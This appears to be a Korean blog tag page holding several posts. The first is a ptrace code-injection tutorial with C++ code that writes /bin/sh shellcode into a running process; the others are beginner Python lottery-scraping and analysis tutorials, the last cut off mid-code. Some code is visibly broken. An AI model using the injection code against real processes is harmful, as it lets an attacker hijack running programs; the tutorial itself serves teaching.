'python'에 해당되는 글 5건

Security



Shared Library Injection 세 번째 포스트입니다.

이전 글은 아래의 링크에서 확인하시기 바랍니다.



2016/07/18 - [Security] - Shared Library Injection (1)

2016/07/12 - [Security] - Shared Library Injection (2)



이번 포스트는 ptrace 를 이용한 shared library injection에 대해 알아보도록 하겠습니다.


ptrace는 앞의 포스트에서 잠시 등장했던 strace, ltrace와는 달리 프로그램이 아니라 리눅스에서 지원하는 시스템 콜입니다.

ptrace의 함수 원형은 아래와 같습니다.


long ptrace(enum __ptrace_request request, pid_t pid, void *addr, void *data);


사용자는 _ptrace_request 값들을 이용하여 다른 프로세스의 실행을 관찰 또는 제어하는 것이 가능합니다.

_ptrace_request 값들은 아래와 같습니다.



PTRACE_TRACEME

자기 자신을 추적 가능하도록 만드며, 부모 프로세스에 의해 추적되는 것을 나타냅니다.


PTRACE_PEEKTEXT, PTRACE_PEEKDATA

자식 프로세스의 주어진 주소의 WORD를 읽어 리턴합니다. 


PTRACE_PEEKUSER

자식 프로세스의 USER 영역 주소의 WORD를 읽어 리턴합니다.


PTRACE_POKETEXT, PTRACE_POKEDATA

부모 프로세스 메모리 주소에서 자식 프로세스 메모리 주소로 WORD를 복사합니다.


PTRACE_POKEUSER

부모 프로세스 메모리 주소에서 자식 프로세스 주소의 USER 영역으로 WORD를 복사합니다.


PTRACE_GETREGS, PTRACE_GETFPREGS

자식 프로세스의 레지스터들을 부모 프로세스 data 위치로 복사합니다.


PTRACE_SETREGS, PTRACE_SETFPREGS

부모 프로세스의 data 위치에서 레지스터들을 자식 프로세스로 복사합니다.


PTRACE_CONT

자식 프로세스를 다시 시작합니다.


PTRACE_SYSCALL, PTRACE_SINGLESTEP

자식 프로세스를 다시 시작한 후 인스트럭션 하나를 실행하고 다시 멈춥니다.


PTRACE_KILL

자식 프로세스에게 SIG_KILL을 보냅니다.


PTRACE_ATTACH

지정 프로세스의 부모 프로세스로 ATTACH 합니다.


PTRACE_DETACH

ATTACH된 자식 프로세스를 DETACH 합니다.


참고: http://linux4u.kr/manpage/ptrace.2.html



PTRACE의 ATTACH, PEEK, POKE, SINGLESTEP, DETACH를 이용하면 다른 프로세스에 shared library injection이 가능합니다.


먼저 code injection을 할 대상 테스트 프로그램을 아래와 같이 만듭니다.


#include <iostream>
#include <thread>
#include <chorono>

int main()
{
    unsigned long count = 1;
    std::cout << "server start" << std::endl;
    while(true)
    {
        std::cout << "server running " << count << std::endl;
        std::this_thread::sleep_for(std::chrono::seconds(10));
        count++;
    }

    std::cout << "server stop" << std::endl;
}

위의 테스트 프로그램은 10초당 한번 메세지를 출력하는 프로그램입니다.

해당 프로그램을 빌드하여 실행시키면 아래와 같습니다.



이 테스트 프로그램에 Code Injection을 실행해 임의의 코드를 실행해 보도록 하겠습니다.



Code Injection 프로그램을 하나씩 만들어 보도록 하겠습니다.

먼저 ptrace를 이용해 attach와 detach를 해야 합니다.


#include <iostream>
#include <sys/ptrace.h>
#include <sys/user.h>
#include <wait.h>
#include <string.h>


int main(int argc, char *argv[])
{   
    const pid_t pid = std::atoi(argv[1]);
    
    //
    // Attach
    //
    
    int waitpidstatus = 0;
    
    if(ptrace(PTRACE_ATTACH, pid, NULL, NULL) == -1)
    {   
        std::cerr << "PTRACE_ATTACH failed" << std::endl;
        return -1;
    }
    std::cout << "Inject Success To " << std::to_string(pid) << std::endl;
    
    if(waitpid(pid, &waitpidstatus, WUNTRACED) != pid)
    {   
        std::cerr << "waitpid(" << pid << ") failed" << std::endl;
        return -1;
    }


    //
    // Detach
    //
    ptrace(PTRACE_DETACH, pid, 0, 0);


    return 0;
}


먼저 PTRACE_ATTACH를 이용해 테스트 프로그램에 Attach를 시도합니다.

Attach가 성공하면 해당 프로세스로부터 상태 정보를 얻어옵니다.

WUNTRACED 옵션은 종료되거나 멈춘 프로세스로부터 상태정보를 얻어오는 옵션입니다.

상태정보를 얻어오는데까지 성공하면 PTRACE_DEACH를 이용해 Detach를 합니다.


위 프로그램을 컴파일하여 테스트 프로그램에 Injection한 결과는 아래와 같습니다.




테스트 프로세스에 Attach, Deatch가 성공했으니 이제 조금 더 살을 붙여보겠습니다.

이번에는 Attach 되어 잠시 중지된 프로세스의 레지스터 값을 가져오도록 하겠습니다.



#include <iostream>
#include <sys/ptrace.h>
#include <sys/user.h>
#include <wait.h>
#include <string.h>

int main(int argc, char *argv[])
{
    const pid_t pid = std::atoi(argv[1]);

    
    //
    // Attach
    //

    int waitpidstatus = 0;
    
    if(ptrace(PTRACE_ATTACH, pid, NULL, NULL) == -1)
    {
        std::cerr << "PTRACE_ATTACH failed" << std::endl;
        return -1;
    }
    std::cout << "Inject Success To " << std::to_string(pid) << std::endl;
    
    if(waitpid(pid, &waitpidstatus, WUNTRACED) != pid)
    {
        std::cerr << "waitpid(" << pid << ") failed" << std::endl;
        return -1;
    }

    
    //
    // Get Register Info
    //
    struct user_regs_struct regs;
    memset(®s, 0x0, sizeof(struct user_regs_struct));
    if(ptrace(PTRACE_GETREGS, pid, 0, ®s) == -1)
    {
        std::cerr << "PTRACE_GETREGS failed" << std::endl;
        return -1;
    }

    std::cout << "rip: " << std::hex << regs.rip << std::endl;

    ptrace(PTRACE_DETACH, pid, 0, 0);

    return 0;
}


레지스터 정보를 가져오기 위해 PTRACE_GETREGS 옵션을 사용했습니다.

해당 옵션을 이용해 user_regs_struct 구조체 변수에 해당 프로세스의 모든 레지스터 정보를 가져옵니다.



위 프로그램을 실행한 결과는 아래와 같습니다.

Attach에 의해 잠시 멈춘 프로세스의 RIP를 출력하고 있습니다.




자, 여기까지 왔으니 이제 끝이 보이기 시작합니다.

마지막으로 코드를 삽입하고 실행시키기만 하면 됩니다.

완성된 코드는 아래와 같습니다.


#include <iostream>
#include <memory>
#include <sys/ptrace.h>
#include <sys/user.h>
#include <wait.h>
#include <string.h>

// run /bin/sh
unsigned char code[] = "\x48\x31\xff\x57\x57\x5e\x5a\x48\xbf\x2f\x2f"
                       "\x62\x69\x6e\x2f\x73\x68\x48\xc1\xef\x08\x57"
                       "\x54\x5f\x6a\x3b\x58\x0f\x05";

#define offsetof(TYPE, MEMBER) ((unsigned long) &((TYPE *)0)->MEMBER)

int main(int argc, char *argv[])
{
    const pid_t pid = std::atoi(argv[1]);


    //
    // Attach
    //

    int waitpidstatus = 0;

    if(ptrace(PTRACE_ATTACH, pid, NULL, NULL) == -1)
    {
        std::cerr << "PTRACE_ATTACH failed" << std::endl;
        return -1;
    }
    std::cout << "Inject Success To " << std::to_string(pid) << std::endl;

    if(waitpid(pid, &waitpidstatus, WUNTRACED) != pid)
    {
        std::cerr << "waitpid(" << pid << ") failed" << std::endl;
        return -1;
    }


    //
    // Get Register Info
    //

    struct user_regs_struct regs;
    memset(®s, 0x0, sizeof(struct user_regs_struct));
    if(ptrace(PTRACE_GETREGS, pid, 0, ®s) == -1)
    {
        std::cerr << "PTRACE_GETREGS failed" << std::endl;
        return -1;
    }

    std::cout << "rip: " << std::hex << regs.rip << std::endl;

    //
    // Set Buffer to Shellcode
    //

    const std::size_t codeLength = sizeof(code);
    std::unique_ptr buffer(new char[codeLength]);

    memset(buffer.get(), 0x0, codeLength);
    memcpy(buffer.get(), code, sizeof(code));

    //
    // Write shellcode to target process
    //

    for(unsigned int i = 0; i < sizeof(code); i++)
    {
        ptrace(PTRACE_POKETEXT, pid, regs.rip + i, *(int*)(buffer.get() + i));
    }
    std::cout << "Code Inject Success" << std::endl;

    //
    // Detach
    //

    ptrace(PTRACE_DETACH, pid, 0, 0);


    return 0;
}


/bin/sh를 실행시키는 shellcode를 선언하고 char형 buffer에 복사합니다.

Attach된 프로세스의 rip가 가리키는 주소에 shellcode를 차례로 복사합니다.

그리고 프로세스를 Detach 합니다.


이제 테스트 프로세스가 다시 시작될 때 rip가 가리키는 shellcode를 실행하게 됩니다.


아래는 해당 프로그램의 실행 결과 입니다.



성공적으로 Code를 Injection 하였습니다.


지금까지 살펴본 방법을 이용하여 Shared library를 로딩하는 shellcode를 삽입하면 Shared library injection이 됩니다.

해당 방법에 대한 잘 만들어진 예제는 아래를 참고하시기 바랍니다.

https://github.com/gaffe23/linux-inject/blob/master/inject-x86_64.c



완성된 코드는 아래에 올려두었습니다.

main.cpp



이번 포스트는 여기서 마치도록 하겠습니다.

읽어주셔서 감사합니다.






'Security' 카테고리의 다른 글

how to exploit window kernel (1)  (0) 2017.07.21
Shared Library Injection (2)  (0) 2016.07.25
Shared Library Injection (1)  (0) 2016.07.18
개발


이 글은 python 초보자들을 대상으로 하는 로또 데이터 분석에 관련된 글입니다.

이전 포스트는 아래 링크를 따라가시기 바랍니다.


2016/07/04 - [개발] - 따라하는 python 로또 분석(3)

2016/06/28 - [개발] - 따라하는 python 로또 분석(2)

2016/06/21 - [개발] - 따라하는 python 로또 분석 (1)



이번 포스트에서는 다른 분석을 한번 해 보도록 하겠습니다.


각 회차별 추첨 번호간 거리를 한번 알아보는 건 어떨까요? 갑자기 제가 궁금해졌습니다. -_-;


아래는 제 1회차 당첨번호 + 보너스 번호입니다.


10, 23, 29, 33, 37, 40, 16


첫 번째 번호가 10일 때 두 번째 번호 사이의 거리는 23 - 10 = 13입니다.

두 번째 번호와 세 번째 번호 사이의 거리는 얼마일까요? 제 질문이 어려웠나요? ^^;

정답은 29 - 23 = 6입니다.


이런 방식으로 각 번호 사이의 거리를 계산해보면 아래와 같습니다.

아, 물론 거리는 절대값입니다 ^^


첫 번째 자리 수가 10일 때, 13, 6, 4, 4, 3, 24



자, 이제 python 코드로 해볼까요?

참, 절대값으로 변환하는 python 함수는 abs() 입니다. ^^


아래는 거리를 계산하기 위해 추가된 distance  함수입니다.


def distance():
    db = MySQLdb.connect(host="localhost", user="lotto", passwd="lotto", db="lotto")
    cursor = db.cursor()

    try:
        cursor.execute("select * from data")
        results = cursor.fetchall()

        for row in results:
            print(row[0], "회차: ", end = "")
            print("1'st", row[1], "| ", end = "")

            for i in range(1, 7):
                print(abs(row[i + 1] - row[i]), " ", end="")

            print(" ")

    except:
        print(sys.exc_info()[0])

    cursor.close()
    db.close()


위의 코드를 추가하고 main 함수를 아래와 같이 수정합니다.



def main():
    last = getLast()
    dblast = checkLast()

    if dblast < last:
        print("최신 회차는 " + str(last) + " 회 이며, 데이터베이스에는 " + str(dblast) + "회 까지 저장되어 있습니다.")
        print("업데이트를 시작합니다.")
        crawler(dblast, last)

    insert()
    #analysis()
    distance()

if __name__ == "__main__":
    main()


이제 코드를 실행하면 아래와 같이 출력됩니다.



어느새 709회차 까지 왔군요. ^^;



그런데 위의 결과를 보니 각 데이터를 사이의 연관성이 잘 눈에 띄지 않습니다.

로또 번호는 정말로 랜덤인걸까요? 아니면 모수가 적어서 눈에 안 띄는 걸까요?


혹시 첫 번째로 뽑인 숫자들이 동일할 때 각 회차별 번호 간 거리는 어떻게 되는지 궁금하시지 않나요? ^^;


distance 함수를 아래와 같이 수정해 보겠습니다.

그냥 sql 문만 아래와 같이 수정하면 됩니다. ㅎㅎㅎ


cursor.execute("select * from data order by `1` asc")



수정된 distance 함수입니다.



def distance():
    db = MySQLdb.connect(host="localhost", user="lotto", passwd="lotto", db="lotto")
    cursor = db.cursor()

    try:
        cursor.execute("select * from data order by `1` asc")
        results = cursor.fetchall()

        for row in results:
            print("1'st", row[1], "| ", end="")

            for i in range(1, 7):
                print(abs(row[i + 1] - row[i]), " ", end="")

            print(" ")

    except:
        print(sys.exc_info()[0])

    cursor.close()
    db.close()


출력 결과를 보기 좋도록 하기 위해 회차 정보를 살짝 뺐습니다. ^^;


위의 코드를 실행한 결과는 아래와 같습니다.




예전 포스트에서의 기억을 떠올려보면 첫 번째 숫자로 가장 많이 나온 숫자는 1이었습니다.

위의 실행 결과에서는 잘렸지만, 스크롤을 올려 첫 번째 숫자로 1이 나왔을 때의 숫자 간격을 보면 아래와 같습니다.




제일 많이 나온 것 치고는 별로 공통되는 점은 없어 보입니다.

아쉽게도 이 방법으로는 로또 1등 당첨 숫자 예측이 어렵겠네요 ㅠ_-


위의 distance 함수를 조금 수정하면 각 자리별 숫자가 동일할 때의 간격을 뽑아볼 수도 있습니다.

이 부분은 여러분께 과제로 남기도록 하겠습니다. (귀찮아서 그러는 건 아니라고 믿어주세요;;;)



전체 소스코드는 아래에 올려두었습니다.

lotto.py




이상으로 이번 포스트를 마치겠습니다.

다음 포스트에서도 다른 방법으로 데이터를 분석해 보도록 하겠습니다.



읽어 주셔서 감사합니다.



'개발' 카테고리의 다른 글

Commands out of sync 문제  (0) 2017.11.27
Develop Security Static Code Analyzer (1)  (0) 2017.05.15
따라하는 python 로또 분석(3)  (0) 2016.07.04
따라하는 python 로또 분석(2)  (0) 2016.06.28
따라하는 python 로또 분석 (1)  (0) 2016.06.21
개발



이 글은 python 초보자들을 대상으로 하는 로또 데이터 분석에 관련된 글입니다.

이전 포스트는 아래 링크를 따라가시기 바랍니다.


2016/06/21 - [개발] - 따라하는 python 로또 분석 (1)


2016/06/28 - [개발] - 따라하는 python 로또 분석(2)





이번 포스트부터는 드디어 제목에 맞게 로또 데이터를 분석해 보도록 하겠습니다.


첫 시간에는 각 숫자의 출현 빈도를 알아보도록 하겠습니다.


뭐, 이거는 컴퓨터 전공이라면 자료구조나 알고리즘 시간에 다들 배우셨을 텐데요,

굳이 설명할 필요가 있나 싶지만 혹시 또 모르니까 진행해 보도록 하겠습니다.


숫자의 출현 빈도를 어떻게 계산할 수 있을까요?


리스트 또는 배열을 이용할 수 있는데요, 간단한 배열을 이용한 방식을 사용해 보도록 하겠습니다.


먼저 1부터 45까지의 배열을 생성합니다.

그리고 데이터베이스에 저장된 각 회차별 당첨번호들을 하나씩 순회하면서 해당 숫자의 배열의 카운트를 하나씩 증가시키면 됩니다.



배열 초기화

인덱스       ->          1    2   3   4   ....   45

데이터       ->        | 0 | 0 | 0 | 0 | .... | 0 |



최초의 배열은 위와 같이 모두 0으로 초기화 되어 있습니다.

만약 보너스 번호를 포함한 1회차 당첨 번호가 1, 11, 21, 31, 41,  2, 12 라면,

배열[1] = 배열[1]++, 배열[11] = 배열[11]++... 이런 식으로 증가시켜 주면 됩니다.



요 부분을 코드에 추가시켜 보겠습니다.

수정된 코드는 아래와 같습니다.



# lotto.py

import requests
from bs4 import BeautifulSoup
import MySQLdb
import sys

# 웹 크롤링 한 결과를 저장할 리스트
lotto_list = []

# 로또 웹 사이트의 첫 주소
main_url = "https://www.nlotto.co.kr/lotto645Confirm.do?method=byWin"

# 각 회차별 당첨정보를 알 수 있는 주소
basic_url = "https://www.nlotto.co.kr/lotto645Confirm.do?method=byWin&drwNo="


def getLast():
	resp = requests.get(main_url)
	soup = BeautifulSoup(resp.text, "lxml")
	line = str(soup.find("meta", {"id" : "desc", "name" : "description"})['content'])

	begin = line.find(" ")
	end = line.find("회")

	if begin == -1 or end == -1:
	    print("not found last lotto number")
	    exit()

	return int(line[begin + 1 : end])


def checkLast():
	db = MySQLdb.connect(host="localhost", user="lotto", passwd="lotto", db="lotto")
	cursor = db.cursor()

	sql = "SELECT MAX(count) FROM data"
	try:
	    cursor.execute(sql)
	    result = cursor.fetchone()
	except:
	    print(sys.exc_info()[0])

	cursor.close()
	db.close()

	return result[0]


def crawler(fromPos, toPos):

	for i in range(fromPos + 1, toPos + 1):
		
		crawler_url = basic_url + str(i)
		print("crawler: " + crawler_url)

		resp = requests.get(crawler_url)
		soup = BeautifulSoup(resp.text, "lxml")
		line = str(soup.find("meta", {"id" : "desc", "name" : "description"})['content'])

		begin = line.find("당첨번호")
		begin = line.find(" ", begin) + 1
		end = line.find(".", begin)
		numbers = line[begin:end]

		begin = line.find("총")
		begin = line.find(" ", begin) + 1
		end = line.find("명", begin)
		persons = line[begin:end]

		begin = line.find("당첨금액")
		begin = line.find(" ", begin) + 1
		end = line.find("원", begin)
		amount = line[begin:end]

		info = {}
		info["회차"] = i
		info["번호"] = numbers
		info["당첨자"] = persons
		info["금액"] = amount

		lotto_list.append(info)

def insert():
	db = MySQLdb.connect(host="localhost", user="lotto", passwd="lotto", db="lotto")
	cursor = db.cursor()

	for dic in lotto_list:
		count = dic["회차"]
		numbers = dic["번호"]
		persons = dic["당첨자"]
		amounts = dic["금액"]

		print("insert to database at " + str(count))

		numberlist = str(numbers).split(",")

		sql = "INSERT INTO `lotto`. `data`(`count`, `1`, `2`, `3`, `4`, `5`, `6`, `7`, `persion`, `amount`) " \
		      "VALUES('%d', '%d', '%d', '%d', '%d', '%d', '%d', '%d', '%d', '%s')" \
		      % (count,
		         int(numberlist[0]),
		         int(numberlist[1]),
		         int(numberlist[2]),
		         int(numberlist[3]),
		         int(numberlist[4]),
		         int(numberlist[5].split("+")[0]),
		         int(numberlist[5].split("+")[1]),
		         int(persons),
		         str(amounts))

		try:
		    cursor.execute(sql)
		    db.commit()
		except:
		    print(sys.exc_info()[0])
		    db.rollback()
		    break

	cursor.close()
	db.close()

def analysis(myarray):
	db = MySQLdb.connect(host="localhost", user="lotto", passwd="lotto", db="lotto")
	cursor = db.cursor()

	# 처음 뽑힌 숫자들 전체를 조회
	sql = "select `1` from data"
    
	try:
		cursor.execute(sql)
		results = cursor.fetchall()

		# 해당 숫자의 뽑힌 횟수를 하나씩 증가
		for row in results:
			i = row[0]
			count = myarray[i]
			myarray[i] = count + 1
	except:
		print(sys.exc_info()[0])
		
	cursor.close()
	db.close()

def main():
	last = getLast()
	dblast = checkLast()

	if dblast < last:
		print("최신 회차는 " + str(last) + " 회 이며, 데이터베이스에는 " + str(dblast) + "회 까지 저장되어 있습니다.")
		print("업데이트를 시작합니다.")
		crawler(dblast, last)
		
	insert()

	# 0부터 45까지의 배열을 생성하고 0으로 초기화
	myarray = [0 for i in range(46)]
	analysis(myarray)

	for i in range(1, len(myarray)):
		if (i % 10) == 0:
			print("")
		print("[" + str(i) + ":" + str(myarray[i]) + "]", end=" ")
	print()

		
if __name__ == "__main__":
    main()


anaysis() 함수가 추가되었습니다.


myarray라는 0부터 45까지의 배열을 생성하여 0으로 초기화 한 후 analysis 함수에 전달합니다.



위 코드를 실행하면 아래와 같은 결과가 나옵니다.




로또 공식 사이트에서 제공하는 당첨 번호는 정렬된 번호가 아니라 뽑힌 순서별로 되어 있습니다. 


그러므로 위의 데이터 분석 결과를 보면,

매 회차 로또에서 첫 번째로 뽑히는 숫자의 출현 빈도는 1이 105번으로 가장 많습니다.

두 번째는 2가 73회의 출현 빈도를 가졌습니다.



이번에는 위를 모든 순서에 적용해서 가장 많이 출현한 숫자대로 정렬을 해 보겠습니다.

즉, 첫 번째 추첨에서 가장 많이 나온 숫자부터 보너스 숫자 추첨에서 가장 많이 나온 숫자까지를 뽑아보도록 하겠습니다.


analysis() 함수에 for 루프만 살짝 추가하면 됩니다. ^^

이렇게 수정된 코드는 아래와 같습니다.


# lotto.py

import requests
from bs4 import BeautifulSoup
import MySQLdb
import sys


# 웹 크롤링 한 결과를 저장할 리스트
lotto_list = []

# 로또 웹 사이트의 첫 주소
main_url = "https://www.nlotto.co.kr/lotto645Confirm.do?method=byWin"

# 각 회차별 당첨정보를 알 수 있는 주소
basic_url = "https://www.nlotto.co.kr/lotto645Confirm.do?method=byWin&drwNo="


def getLast():
    resp = requests.get(main_url)
    soup = BeautifulSoup(resp.text, "lxml")
    line = str(soup.find("meta", {"id": "desc", "name": "description"})['content'])

    begin = line.find(" ")
    end = line.find("회")

    if begin == -1 or end == -1:
        print("not found last lotto number")
        exit()

    return int(line[begin + 1: end])


def checkLast():
    db = MySQLdb.connect(host="localhost", user="lotto", passwd="lotto", db="lotto")
    cursor = db.cursor()

    sql = "SELECT MAX(count) FROM data"
    try:
        cursor.execute(sql)
        result = cursor.fetchone()
    except:
        print(sys.exc_info()[0])

    cursor.close()
    db.close()

    return result[0]


def crawler(fromPos, toPos):
    for i in range(fromPos + 1, toPos + 1):
        crawler_url = basic_url + str(i)
        print("crawler: " + crawler_url)

        resp = requests.get(crawler_url)
        soup = BeautifulSoup(resp.text, "lxml")
        line = str(soup.find("meta", {"id": "desc", "name": "description"})['content'])

        begin = line.find("당첨번호")
        begin = line.find(" ", begin) + 1
        end = line.find(".", begin)
        numbers = line[begin:end]

        begin = line.find("총")
        begin = line.find(" ", begin) + 1
        end = line.find("명", begin)
        persons = line[begin:end]

        begin = line.find("당첨금액")
        begin = line.find(" ", begin) + 1
        end = line.find("원", begin)
        amount = line[begin:end]

        info = {}
        info["회차"] = i
        info["번호"] = numbers
        info["당첨자"] = persons
        info["금액"] = amount

        lotto_list.append(info)


def insert():
    db = MySQLdb.connect(host="localhost", user="lotto", passwd="lotto", db="lotto")
    cursor = db.cursor()

    for dic in lotto_list:
        count = dic["회차"]
        numbers = dic["번호"]
        persons = dic["당첨자"]
        amounts = dic["금액"]

        print("insert to database at " + str(count))

        numberlist = str(numbers).split(",")

        sql = "INSERT INTO `lotto`. `data`(`count`, `1`, `2`, `3`, `4`, `5`, `6`, `7`, `persion`, `amount`) " \
              "VALUES('%d', '%d', '%d', '%d', '%d', '%d', '%d', '%d', '%d', '%s')" \
              % (count,
                 int(numberlist[0]),
                 int(numberlist[1]),
                 int(numberlist[2]),
                 int(numberlist[3]),
                 int(numberlist[4]),
                 int(numberlist[5].split("+")[0]),
                 int(numberlist[5].split("+")[1]),
                 int(persons),
                 str(amounts))

        try:
            cursor.execute(sql)
            db.commit()
        except:
            print(sys.exc_info()[0])
            db.rollback()
            break

    cursor.close()
    db.close()


def analysis():
    db = MySQLdb.connect(host="localhost", user="lotto", passwd="lotto", db="lotto")
    cursor = db.cursor()

    for i in range(1, 8):

        sql = "select `"
        sql += str(i)
        sql += "` from data"

        try:
            cursor.execute(sql)
            results = cursor.fetchall()

            # 해당 숫자의 뽑힌 횟수를 하나씩 증가
            myarray = [0 for i in range(46)]
            for row in results:
                k = row[0]
                count = myarray[k]
                myarray[k] = count + 1
            print(i, myarray.index(max(myarray)))
        except:
            print(sys.exc_info()[0])

    cursor.close()
    db.close()


def main():
    last = getLast()
    dblast = checkLast()

    if dblast < last:
        print("최신 회차는 " + str(last) + " 회 이며, 데이터베이스에는 " + str(dblast) + "회 까지 저장되어 있습니다.")
        print("업데이트를 시작합니다.")
        crawler(dblast, last)

    insert()
    analysis()

if __name__ == "__main__":
    main()



위 코드를 실행하면 아래와 같은 결과를 볼 수 있습니다.




로또 추첨 708회차가 진행되는 동안 첫 번째 자리에 가장 많이 나온 번호는 1, 두 번째 자리에 가장 많이 나온 번호는 8, 세 번째는 20, 순서대로 27, 38, 45 였고, 보너스 번호는 43이 가장 많이 나왔습니다.



전체 소스 코드는 아래에 첨부하였습니다.

lotto.py




이것으로 이번 포스트를 마치도록 하겠습니다.


다음 포스트에서는 조금 더 다양한 방법으로 로또 데이터 분석을 시도해 보도록 하겠습니다.



읽어 주셔서 감사합니다.


'개발' 카테고리의 다른 글

Commands out of sync 문제  (0) 2017.11.27
Develop Security Static Code Analyzer (1)  (0) 2017.05.15
따라하는 python 로또 분석(4)  (0) 2016.07.11
따라하는 python 로또 분석(2)  (0) 2016.06.28
따라하는 python 로또 분석 (1)  (0) 2016.06.21
개발



이 글은 python 초보자들을 대상으로 하는 로또 데이터 분석에 관련된 글입니다.

이전 포스트는 아래 링크를 따라가시기 바랍니다.


2016/06/21 - [개발] - 따라하는 python 로또 분석 (1)




3. 추출한 데이터 저장하기


지금까지 우리는 python을 이용하여 로또 사이트에서 데이터를 추출하는 법을 다루었습니다.


이번엔 받아온 데이터를 데이터베이스에 저장해 볼 차례입니다.

sqlite나 mongodb등이 유행인데요, 저는 이미 mysql이 깔려있던 관계로 mysql을 그대로 사용하였습니다.



python 모듈 : MySQLdb


MySQLdb - python에서 mysql을 사용하기 위한 라이브러리.


이번에도 pip3를 이용하여 위의 모듈을 설치해 줍니다.


저는 lotto라는 데이터베이스를 만들고 data라는 테이블을 추가하였습니다.

data 테이블 구조는 아래와 같습니다.




보너스 숫자를 포함한 전체 7개의 로또 숫자를 각 column으로 구분하여서 저장하도록 했습니다.

또 당첨횟수, 당첨자수, 당첨금액은 각각 count, persion, amount라는 column에 저장하도록 하였습니다.

모든 column들은 not null 설정을, 당첨금액을 제외한 모든 column들은 INT형으로 설정하였습니다.

당첨횟수 count는 인덱스로 사용하기 위해 pk, unique, unsigned를 지정해 주었습니다. 

그리고 해당 데이터베이스에 연결되는 유저와 패스워드는 lotto/lotto로 설정하였습니다.



그럼 해당 설정을 이용하여 python에서 mysql로 연결이 잘 되는지를 테스트 해 볼 차례입니다.

수정된 코드는 아래와 같습니다.


# lotto.py

import requests
from bs4 import BeautifulSoup
import MySQLdb

def main():
	basic_url = "https://www.nlotto.co.kr/lotto645Confirm.do?method=byWin&drwNo="
	for i in range(1, 707):
		resp = requests.get(basic_url + str(i))
		soup = BeautifulSoup(resp.text, "lxml")
		line = str(soup.find("meta", {"id" : "desc", "name" : "description"})['content'])
		
		print("당첨회차: " + str(i))

		begin = line.find("당첨번호")
		begin = line.find(" ", begin) + 1
		end = line.find(".", begin)
		numbers = line[begin:end]
		print("당첨번호: " + numbers)

		begin = line.find("총")
		begin = line.find(" ", begin) + 1
		end = line.find("명", begin)
		persons = line[begin:end]
		print("당첨인원: " + persons)

		begin = line.find("당첨금액")
		begin = line.find(" ", begin) + 1
		end = line.find("원", begin)
		amount = line[begin:end]
		print("당첨금액: " + amount)


		db = MySQLdb.connect(host="localhost", user="lotto", passwd="lotto", db="lotto")
		cursor = db.cursor()

		sql = "SELECT count(*) FROM data"
		cursor.execute(sql)
		results = cursor.fetchone()
		print("저장된 총 회차: " + str(results[0]))
		db.close()

		break
		
if __name__ == "__main__":
    main()


import MySQLdb를 추가하였고, 데이터베이스에 연결하기 위해서 connect를 호출합니다.

MySQLdb.connect(host, user, password, database)


cursor()를 받아와서 실행시키기 원하는 쿼리를 execute() 함수를 이용해 실행시키면 됩니다.

사용이 끝나면 close()를 이용해 연결을 닫아야 합니다.



위 코드를 실행한 결과는 아래와 같습니다.




저는 이미 데이터베이스에 707회차 까지의 데이터를 저장했기 때문에 707 이라는 숫자가 나왔지만, 이 글을 보고 따라하시는 분들은 아마 0이 나올 겁니다.


자 이제 지금까지 추출한 데이터를 이용해 데이터베이스에 저장하기만 하면 됩니다.

데이터베이스 저장은 일반적인 mysql 쿼리인 insert 구문을 이용하면 됩니다.


데이터베이스에 저장하는 코드를 추가하고 지금까지 만들어진 코드를 정리해보도록 하겠습니다.


먼저 웹 크롤링을 하는 부분과 데이터베이스 저장을 하는 부분을 함수로 구분했습니다.


웹 크롤링을 하는 부분에서는 다운로드 받은 HTML에서 필요한 데이터를 추출하여 리스트에 추가합니다.

웹 크롤링이 끝나면 리스트를 순회하면서 추출한 데이터를 하나씩 데이터베이스에 저장합니다.

데이터베이스 저장 중 에러 발생 시에는 rollback 하도록 에러 핸들링 부분을 추가하였습니다.



수정된 코드는 아래와 같습니다.

# lotto.py

import requests
from bs4 import BeautifulSoup
import MySQLdb
import sys

# 웹 크롤링 한 결과를 저장할 리스트
lotto_list = []

basic_url = "https://www.nlotto.co.kr/lotto645Confirm.do?method=byWin&drwNo="

def crawler():
	for i in range(1, 707):
		
		crawler_url = basic_url + str(i)
		print("crawler: " + crawler_url)

		resp = requests.get(crawler_url)
		soup = BeautifulSoup(resp.text, "lxml")
		line = str(soup.find("meta", {"id" : "desc", "name" : "description"})['content'])

		begin = line.find("당첨번호")
		begin = line.find(" ", begin) + 1
		end = line.find(".", begin)
		numbers = line[begin:end]

		begin = line.find("총")
		begin = line.find(" ", begin) + 1
		end = line.find("명", begin)
		persons = line[begin:end]

		begin = line.find("당첨금액")
		begin = line.find(" ", begin) + 1
		end = line.find("원", begin)
		amount = line[begin:end]

		info = {}
		info["회차"] = i
		info["번호"] = numbers
		info["당첨자"] = persons
		info["금액"] = amount

		lotto_list.append(info)

def insert():
	db = MySQLdb.connect(host="localhost", user="lotto", passwd="lotto", db="lotto")
	cursor = db.cursor()

	for dic in lotto_list:
		count = dic["회차"]
		numbers = dic["번호"]
		persons = dic["당첨자"]
		amounts = dic["금액"]

		print("insert to database at " + str(count))

		numberlist = str(numbers).split(",")

		sql = "INSERT INTO `lotto`. `data`(`count`, `1`, `2`, `3`, `4`, `5`, `6`, `7`, `persion`, `amount`) " \
		      "VALUES('%d', '%d', '%d', '%d', '%d', '%d', '%d', '%d', '%d', '%s')" \
		      % (count,
		         int(numberlist[0]),
		         int(numberlist[1]),
		         int(numberlist[2]),
		         int(numberlist[3]),
		         int(numberlist[4]),
		         int(numberlist[5].split("+")[0]),
		         int(numberlist[5].split("+")[1]),
		         int(persons),
		         str(amounts))

		try:
		    cursor.execute(sql)
		    db.commit()
		except:
		    print(sys.exc_info()[0])
		    db.rollback()
		    break

	db.close()

def main():
	crawler()
	insert()
		
if __name__ == "__main__":
    main()


해당 코드를 실행시키면 데이터베이스에 우리가 필요로 하는 데이터들이 무사히(?) 저장되었을 거라는 기대와는 달리 707회차 데이터가 빠져있는 것을 확인하실 수 있습니다.


for i in range(1, 707) 요 부분 때문에 실제로는 1부터 706까지만 웹 크롤링이 됩니다.

이 부분도 수정할겸 새로운 기능도 넣어볼까요?


현재까지 작성된 코드는 무식하게도 실행할 때마다 1회차부터의 결과를 다시 받아옵니다.

요즘처럼 바쁜 현대인이 귀중한 시간을 이렇게 낭비할 수는 없습니다.


그럼 어떻게 하면 될까요?


저는 로또 웹 사이트를 방문해서 가장 최신 회차와 데이터베이스에 저장된 가장 최신 회차를 비교하는 방식을 사용했습니다.

만약 데이터베이스에 저장된 회차보다 웹 사이트의 최신 회차가 더 크다면 해당 회차의 정보를 받아서 데이터베이스에 넣도록 합니다.



수정된 코드는 아래와 같습니다.


# lotto.py

import requests
from bs4 import BeautifulSoup
import MySQLdb
import sys

